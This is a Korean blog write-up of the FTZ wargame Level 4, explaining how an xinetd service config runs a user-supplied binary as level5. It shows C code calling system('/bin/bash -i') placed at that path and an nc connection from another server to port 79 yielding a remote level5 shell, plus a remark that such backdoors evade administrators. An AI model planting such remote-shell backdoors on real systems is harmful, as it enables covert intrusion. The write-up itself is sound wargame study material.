본문 바로가기

Learning/└◆System Hacking

[War Game] FTZ LEVEL 4

 


 <FTZ LEVEL4>


 

$ id

 uid=3004(level4) gid=3004(level4) groups=3004(level4)

 

$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

백도어란?

시스템 관리자가 일부러 열어 놓은 시스템의 보안 구멍이다.

처음에 백도어가 나오게 된 계기는 회사원들이 퇴근을 하고 원격으로 회사의 업무를 하기 위해

만들어 졌다고 한다. 하지만 해커들은 이것을 악용하여 공격을 위한 뒷문을 만들어 두는 것이다.

 

xinetd.d란?

리눅스 부팅 과정이 진행되면서 네트워크 데몬도 가동되는데 이를 수행하는 것이 xinetd 슈퍼 데몬 이다.

네트워크 데몬은 FTP,텔넷,SSH,아파치 등과 같은 네트워크 통신을 위한 데몬을 말한다.

xinetd는 이들의 부모 프로세스가 된다.

xinetd 방식의 서비스.hwp

 

먼저 /etc/xinetd.d 폴더에 들어가본다

$ cd /etc/xinetd.d ; ls -l

-rw-r----- 1 root  level4     171 Dec  8  2003 backdoor
-rw-r--r--    1 root     root          563 Feb 25  2003 chargen
-rw-r--r--    1 root     root          580 Feb 25  2003 chargen-udp
-rwxr-xr-x    1 root     root          239 Feb 13  2003 cups-lpd
-rw-r--r--    1 root     root          453 Dec 19  2008 daytime
-rw-r--r--    1 root     root          438 Feb 25  2003 daytime-udp
-rw-r--r--    1 root     root          341 Feb 25  2003 echo
-rw-r--r--    1 root     root          360 Feb 25  2003 echo-udp
-rw-r--r--    1 root     root          318 Jan 25  2003 finger
-rw-r--r--    1 root     root          275 Feb  5  2003 ntalk
-rw-r--r--    1 root     root          361 Jan 25  2003 rexec
-rw-r--r--    1 root     root          378 Jan 25  2003 rlogin
-rw-r--r--    1 root     root          431 Jan 25  2003 rsh
-rw-r--r--    1 root     root          317 Jan 25  2003 rsync
-rw-r--r--    1 root     root          312 Feb 25  2003 servers
-rw-r--r--    1 root     root          314 Feb 25  2003 services
-rw-r--r--    1 root     root          392 Feb  1  2003 sgi_fam
-rw-r--r--    1 root     root          263 Feb  5  2003 talk
-rw-r--r--    1 root     root          305 Dec  8  2003 telnet
-rw-r--r--    1 root     root          497 Feb 25  2003 time
-rw-r--r--    1 root     root          518 Feb 25  2003 time-udp 

 

누가봐도 의심스러운 파일이 하나 있다.

level4 그룹으로 되어있는 backdoor 파일이다.

 

파일을 cat명령어로 보면 service finger가 보인다.

service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID

 

user는 level5 인 상태로 server는 tmp에 있고 disable이 no이므로 enable 이다.

 

finger가 무엇인지 알아보자

finger 명령어는 인터넷 사용자에 대한 정보를 조회해 볼 수 있는 명령어 이다. 인터넷 망에

연결되어 있어야 가능하고 사용법은 두 가지가 있다.

1. finger CMD

2. finger opiont CMD

 

우선 service에 관한 정보는 /etc/services 파일에서 볼 수 있다.

grep명령어로 출력되는 strings중에 finger만 출력해본다.

 

$ cd /etc

$ cat services |grep finger

finger         79/tcp
finger          79/udp
cfinger         2003/tcp                        # GNU Finger

 

79번 포트를 사용한다.

이러한 정보는 netstat 명령어를 통해서도 확인 할 수 있다.

79번은 LISTEN으로 포트가 열려있고

23번은 ESTABLISHED로 되어있다. 현재 FTZ를 Telnet으로 연결해서 사용하고 있기 때문이다.

 

$ netstat -an ($ netstat -an | grep finger)

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:32768         0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:7777            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:13              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 192.168.0.5:23          58.123.19.248:50435     ESTABLISHED
..................(중략) 

 

다음으로 cat /etc/xinetd.d/backdoor 에

server 경로인 /home/level4/tmp/backdoor 경로를 확인한다.

 

$ls

아무것도 없다.

 

backdoor라는 이름의 파일을 만들기 위해 vi편집기를 이용해 C script를 하나 작성한다.

$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>

int main() {

          system("my-pass");

$ gcc -o backdoor backdoor.c

컴파일하여 backdoor 파일을 만든다.

 

$ ls

 backdoor  backdoor.c

 

$ finger level4@localhost

 ^[[H^[[J
Level5 Password is "what is your name?".

 

backdoor 파일을 실행시켜 level5의 패스워드를 획득 할 수 있다.

 

아직 이해하지 못했는가?

 

finger의 서비스 통신 방식은

명령어를 변환하지 않고 그대로 전송하는 방식이다.

 

서비스의 통신 방식을 예를 들면

 

ftp                                        ftpd

user01 ------>user user01----->

user01 ------>pass user01----->

 

telnet                                    telnetd

ls ---------------> ls ---------->

user01 -----------> user01 ----->

이렇다. telnet은 finger와 같이 명령어를 변환하지 않고 그대로 전송하는 방식이다.

 

 

cat /etc/xinetd.d/backdoor 를 살펴 보았을때

user = level5

server = /home/level4/tmp/backdoor

 

이 말은 backdoor 파일을 실행할때 level5의 권한으로 실행 한다는 뜻이다.

/home/level4/tmp/backdoor -> /usr/sbin/in.telnetd 설정을 바꾸고 원격에서 접속한다면.

내가 원하는 프로그램이 실행 될 수 있도록 한다면.

 

백도어는 성공한다.

 

사실 level4의 목적은 xinetd 방식(원격  백도어) 이다.

my-pass가 아닌 bash를 얻어야 LEVEL4를 정복했다고 할 수 있는데

#include <stdio.h>

#include <stdlib.h>

int main() {

          system("/bin/bash");

}  

로는 정상적으로 명령어가 수행되지 않는다.

/bin/bash: line 1: level4

: command not found

id

my-pass

 

<CTRL + C>

 

이것은 원격에서 nc(netcat) 명령어를 사용하여 쉘을 얻을 수 있다.

nc는 telnet과 동일한 기능을 한다고 보면 된다.

일종의 채팅 기능을 하는 역할을 한다.

netcat명령어.hwp

 

FTZ server가 아닌 다른 server를 기동한다.

여기서는 Linux Server를 사용했다.

@LINUX Server

 

# yum -y install nc

# rpm -qa | grep nc

 

# nc 119.64.191.205 79    119.64.191.205 : FTZ System's IP

id

uid=3005(level5) gid=3005(level5)

my-pass

 

Level5 Password is "what is your name?".

 

pwd

/

cd /etc

cat passwd

..... (중략) .....

level15:x:3095:3095::/home/level15:/bin/bash

level16:x:3096:3096::/home/level16:/bin/bash

level17:x:3097:3097::/home/level17:/bin/bash

level18:x:3098:3098::/home/level18:/bin/bash

level19:x:3099:3099::/home/level19:/bin/bash

level20:x:3100:3100::/home/level20:/bin/bash

clear:x:3101:3101::/home/clear:/bin/bash

exit

 

쉘의 정상적인 동작을 하기 위해

vi backdoor.c 를 수정한다

$ vi backdoor.c (FTZ server)

#include <stdlib.h>

 

int main()

{

system("/bin/bash -i");

}

 

@LINUX Server

 

# nc 119.64.191.205 79

bash: no job control in this shell

stty: standard input: Invalid argument

[level5@ftz /]$ hostname

ftz.hackerschool.org

[level5@ftz /]$ id

uid=3005(level5) gid=3005(level5)

[level5@ftz /]$ my-pass

exit

 

이로서 성공적인 백도어를 했다고 볼 수 있다.

xinetd 방식의 원격 백도어의 특성으로

서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기 어렵다는 점이 있다.

 

'Learning > └◆System Hacking' 카테고리의 다른 글

[War Game] FTZ LEVEL 6  (0) 2017.01.22
[War Game] FTZ LEVEL 5  (0) 2017.01.21
[War Game] FTZ LEVEL 3  (0) 2017.01.21
[War Game] FTZ LEVEL 2  (0) 2017.01.21